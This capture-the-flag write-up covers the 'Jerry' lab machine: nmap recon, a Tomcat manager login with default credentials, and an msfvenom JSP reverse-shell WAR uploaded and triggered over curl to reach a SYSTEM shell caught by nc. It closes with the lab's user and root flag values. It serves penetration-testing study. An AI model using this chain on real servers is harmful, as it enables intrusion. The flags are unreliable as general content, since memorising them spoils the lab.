> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/windows/easy-boxes/jerry.md). # Jerry

### Recon ```bash ping -c 1 10.10.10.95 PING 10.10.10.95 (10.10.10.95) 56(84) bytes of data. 64 bytes from 10.10.10.95: icmp_seq=1 ttl=127 time=63.0 ms --- 10.10.10.95 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 63.031/63.031/63.031/0.000 ms ``` Looks like OS is Windows, because of TTL. Lets start a scan with nmap. ```bash # Nmap 7.94SVN scan initiated Sat Feb 17 17:48:31 2024 as: nmap -sC -sV -Pn -p- -T5 -oN jerry 10.10.10.95 Nmap scan report for 10.10.10.95 Host is up (0.095s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat/7.0.88 |_http-server-header: Apache-Coyote/1.1 |_http-favicon: Apache Tomcat Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Feb 17 17:52:15 2024 -- 1 IP address (1 host up) scanned in 224.10 seconds ``` Just one port looks open, and it is HTTP. ### HTTP

So this is Tomcat, nmap also said it, so it is true. So Im going to try easy credentials for Tomcat.

Invalid credentials, but on this page you can see "default" credentials, it is "tomcat/s3cret" So Im going to try these credentials also.

And boom, we are in! ### Reverse Shell So to get RCE or reverse shell as well we need to upload a application, Tomcat works on java, so Im going to generate a payload with msfvenom. ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.7 LPORT=4242 -f war > reverse.war Payload size: 1102 bytes Final size of war file: 1102 bytes ``` Now we can upload it.

But we dont know our file name which contains payload, to find it, I will type this command. ```bash strings reverse.war | grep jsp puxdlcxwhqrhlv.jsp}TQo puxdlcxwhqrhlv.jspPK ``` ```bash curl http://10.10.10.95:8080/reverse/puxdlcxwhqrhlv.jsp ``` And here we go again, we got a shell. ```bash rlwrap nc -lnvp 4242 listening on [any] 4242 ... connect to [10.10.16.7] from (UNKNOWN) [10.10.10.95] 49192 Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\apache-tomcat-7.0.88>dir dir Volume in drive C has no label. Volume Serial Number is 0834-6C04 Directory of C:\apache-tomcat-7.0.88 06/19/2018 03:07 AM . 06/19/2018 03:07 AM .. 06/19/2018 03:06 AM bin 06/19/2018 05:47 AM conf 06/19/2018 03:06 AM lib222./ 05/07/2018 01:16 PM 57,896 LICENSE 02/18/2024 12:07 AM logs 05/07/2018 01:16 PM 1,275 NOTICE 05/07/2018 01:16 PM 9,600 RELEASE-NOTES 05/07/2018 01:16 PM 17,454 RUNNING.txt 06/19/2018 03:06 AM temp 02/18/2024 12:07 AM webapps 06/19/2018 03:34 AM work 4 File(s) 86,225 bytes 9 Dir(s) 2,419,884,032 bytes free C:\apache-tomcat-7.0.88>id id C:\apache-tomcat-7.0.88>whoami whoami nt authority\system ``` ### User and Root flag. ```bash C:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 0834-6C04 Directory of C:\Users\Administrator\Desktop 06/19/2018 06:09 AM . 06/19/2018 06:09 AM .. 06/19/2018 06:09 AM flags 0 File(s) 0 bytes 3 Dir(s) 2,419,884,032 bytes free C:\Users\Administrator\Desktop>cd flags cd flags C:\Users\Administrator\Desktop\flags>dir dir Volume in drive C has no label. Volume Serial Number is 0834-6C04 Directory of C:\Users\Administrator\Desktop\flags 06/19/2018 06:09 AM . 06/19/2018 06:09 AM .. 06/19/2018 06:11 AM 88 2 for the price of 1.txt 1 File(s) 88 bytes 2 Dir(s) 2,419,884,032 bytes free C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt" type "2 for the price of 1.txt" user.txt 7004dbcef0f854e0fb401875f26ebd00 root.txt 04a8b36e1545a455393d067e772fe90e ```